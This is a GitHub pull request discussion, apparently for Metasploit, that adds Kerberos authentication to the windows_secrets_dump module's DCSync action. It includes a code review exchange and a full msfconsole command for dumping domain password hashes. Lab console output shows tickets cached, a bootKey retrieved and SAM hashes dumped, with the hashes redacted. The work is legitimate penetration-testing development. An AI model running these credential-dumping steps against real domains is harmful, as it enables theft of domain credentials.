DCSync using Kerberos #18419

smashery · 2023-10-03T00:39:13Z

This PR enables the use of Kerberos authentication with the windows_secret_dump module (DCSync).

It relies on a corresponding PR in the https://github.com/rapid7/ruby_smb repository (rapid7/ruby_smb#253). Make sure you include those changes when testing.

Verification

Set up a domain controller (I've tested on 2022 and 2012)
Obtain domain admin creds
Start msfconsole
use windows_secrets_dump
run rhosts=<IP> smbdomain=<domain> smbuser=<admin> smb::rhostname=<hostname> domaincontrollerrhost=<ip> smbpass=<password> smb::auth=kerberos action=domain
Verify that stealing user hashes succeeds
Verify that this works using both RC4 and AES (you can test this by disabling AES in group policy, gpupdate /force, and purging the MSF kerberos ticket cache (klist -d)
Verify that NTLM auth still works (smb::auth=ntlm)
Verify that other kerberos modules still work (I've tested winrm_cmd and psexec modules)

lib/rex/proto/kerberos/crypto/rc4_hmac.rb

lib/rex/proto/kerberos/model/enc_ap_rep_part.rb

lib/rex/proto/gss/kerberos/message_encryptor.rb

smcintyre-r7 · 2023-10-03T21:40:43Z

I gave this a quick test and confirmed it's working with PTT as intended now. I was able to follow the steps I outlined in my original ticket and it's working. I still need to test some other modules but over all this is looking pretty good.

cdelafuente-r7

Thanks @smashery, this is awesome! I tested in my environment and it works great. I just left a few comments for you to review when you get a chance.

lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb

lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb

lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb

cdelafuente-r7 · 2023-10-17T09:24:27Z

lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb

+      return false
+    end
+    set_decrypted_packet(dcerpc_response, result)
+  end


If I understand this correctly, self.krb_encryptor.decrypt_and_verify should only verify if the decrypted data is correct (checksum, sequence number, etc.). I believe the signature in the DCERPC response is not verified. This method is supposed to also verify the signature and return a boolean.

decrypt_and_verify passes off to the respective Kerberos encryption routines to do the decryption+verification. These throw exceptions if it's invalid (error message will be "HMAC integrity error". So the rescue above will catch that and return false. But good catch - function needs to return true if it passes through without error.

smcintyre-r7 · 2023-10-30T13:40:09Z

Tested one last time and everything looks good to me now. I'll get this landed in a moment.

Testing Output

msf6 auxiliary(gather/windows_secrets_dump) > show options 

Module options (auxiliary/gather/windows_secrets_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS     192.168.159.10   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      445              yes       The target port (TCP)
   SMBDomain  msflab.local     no        The Windows domain to use for authentication
   SMBPass    Password1!       no        The password for the specified username
   SMBUser    smcintyre        no        The username to authenticate as


Auxiliary action:

   Name  Description
   ----  -----------
   ALL   Dump everything



View the full module info with the info, or info -d command.

msf6 auxiliary(gather/windows_secrets_dump) > set SMB::Auth kerberos 
SMB::Auth => kerberos
msf6 auxiliary(gather/windows_secrets_dump) > run
[*] Running module against 192.168.159.10

[+] 192.168.159.10:445 - 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:445 - 192.168.159.10:445 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20231030092950_default_192.168.159.10_mit.kerberos.cca_748861.bin
[+] 192.168.159.10:445 - 192.168.159.10:88 - Received a valid TGS-Response
[*] 192.168.159.10:445 - 192.168.159.10:445 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20231030092950_default_192.168.159.10_mit.kerberos.cca_874899.bin
[+] 192.168.159.10:445 - 192.168.159.10:88 - Received a valid delegation TGS-Response
[*] 192.168.159.10:445 - Service RemoteRegistry is in stopped state
[*] 192.168.159.10:445 - Starting service...
[*] 192.168.159.10:445 - Retrieving target system bootKey
[+] 192.168.159.10:445 - bootKey: 0x369c37bc5ec5e4b3eaeee7b69caf5d6a
[*] 192.168.159.10:445 - Saving remote SAM database
[*] 192.168.159.10:445 - Dumping SAM hashes

... redacted ...

[*] Auxiliary module execution completed
msf6 auxiliary(gather/windows_secrets_dump) > klist
Kerberos Cache
==============
id   host            principal               sname                              issued                     status  path
--   ----            ---------               -----                              ------                     ------  ----
509  192.168.159.10  [email protected]  krbtgt/[email protected]   2023-10-30 09:29:49 -0400  active  /home/smcintyre/.msf4/loot/20231030092950_default_192.168.159.10_mit.kerberos.cca_748861.bin
510  192.168.159.10  [email protected]  cifs/[email protected]  2023-10-30 09:29:49 -0400  active  /home/smcintyre/.msf4/loot/20231030092950_default_192.168.159.10_mit.kerberos.cca_874899.bin
511  192.168.159.10  [email protected]  ldap/[email protected]  2023-10-30 09:29:54 -0400  active  /home/smcintyre/.msf4/loot/20231030092954_default_192.168.159.10_mit.kerberos.cca_627683.bin

msf6 auxiliary(gather/windows_secrets_dump) > unset SMBPass
Unsetting SMBPass...
[!] Variable "SMBPass" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear SMBPass
msf6 auxiliary(gather/windows_secrets_dump) > shwo o
[-] Unknown command: shwo
msf6 auxiliary(gather/windows_secrets_dump) > show options 

Module options (auxiliary/gather/windows_secrets_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS     192.168.159.10   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      445              yes       The target port (TCP)
   SMBDomain  msflab.local     no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser    smcintyre        no        The username to authenticate as


Auxiliary action:

   Name  Description
   ----  -----------
   ALL   Dump everything



View the full module info with the info, or info -d command.

msf6 auxiliary(gather/windows_secrets_dump) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - 192.168.159.10:88 - Using cached credential for cifs/[email protected] [email protected]
[*] 192.168.159.10:445 - Service RemoteRegistry is already running
[*] 192.168.159.10:445 - Retrieving target system bootKey
[+] 192.168.159.10:445 - bootKey: 0x369c37bc5ec5e4b3eaeee7b69caf5d6a
[*] 192.168.159.10:445 - Saving remote SAM database
[*] 192.168.159.10:445 - Dumping SAM hashes

... redacted ...

[*] Auxiliary module execution completed
msf6 auxiliary(gather/windows_secrets_dump) >

In this output we can see the module obtains, stores and then reuses a kerberos ticket. With a cached ticket and no password, the module now works as intended.

smcintyre-r7 · 2023-10-30T13:43:54Z

Release Notes

This updates the windows_secrets_dump module's DCSync technique (the DOMAIN action) to use Kerberos tickets for authentication. Users can now use Kerberos tickets for authentication with all actions in the module.

smashery added 3 commits September 28, 2023 16:26

Support Kerberos auth for DCERPC

1bd2290

Correctly align sec trailer and stub along a 16-byte boundary

587c327

Support validating partial handshakes

185cba0

smashery mentioned this pull request Oct 3, 2023

Enable Kerberos auth for DCERPC rapid7/ruby_smb#253

Merged

smcintyre-r7 self-assigned this Oct 3, 2023

smcintyre-r7 added library blocked Blocked by one or more additional tasks rn-enhancement release notes enhancement feature-kerberos-authentication Adds Kerberos Authentication support to framework labels Oct 3, 2023

smcintyre-r7 requested changes Oct 3, 2023

View reviewed changes

smcintyre-r7 linked an issue Oct 3, 2023 that may be closed by this pull request

Windows Secrets Dump DOMAIN action (DCSync) fails with PTT #18312

Closed

smashery added 2 commits October 9, 2023 10:31

Changes from code review

1071341

Corresponding change from RubySMB code review

776c064

cdelafuente-r7 reviewed Oct 17, 2023

View reviewed changes

zeroSteiner mentioned this pull request Oct 25, 2023

Add the manage/kerberos_tickets post module #18488

Merged

6 tasks

smcintyre-r7 and others added 3 commits October 25, 2023 15:02

Use the new AlterContext definition

235009d

Bump RubySMB to 3.2.6

0b7f079

Changes from code review

2a699b8

cdelafuente-r7 approved these changes Oct 30, 2023

View reviewed changes

smcintyre-r7 removed the blocked Blocked by one or more additional tasks label Oct 30, 2023

smcintyre-r7 approved these changes Oct 30, 2023

View reviewed changes

smcintyre-r7 merged commit 6e9facb into rapid7:master Oct 30, 2023
55 checks passed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

DCSync using Kerberos #18419

DCSync using Kerberos #18419

smashery commented Oct 3, 2023 •

edited

Loading

smcintyre-r7 commented Oct 3, 2023

cdelafuente-r7 left a comment

cdelafuente-r7 Oct 17, 2023

smashery Oct 30, 2023

smcintyre-r7 commented Oct 30, 2023

smcintyre-r7 commented Oct 30, 2023

DCSync using Kerberos #18419

DCSync using Kerberos #18419

Conversation

smashery commented Oct 3, 2023 • edited Loading

Verification

smcintyre-r7 commented Oct 3, 2023

cdelafuente-r7 left a comment

Choose a reason for hiding this comment

cdelafuente-r7 Oct 17, 2023

Choose a reason for hiding this comment

smashery Oct 30, 2023

Choose a reason for hiding this comment

smcintyre-r7 commented Oct 30, 2023

smcintyre-r7 commented Oct 30, 2023

Release Notes

smashery commented Oct 3, 2023 •

edited

Loading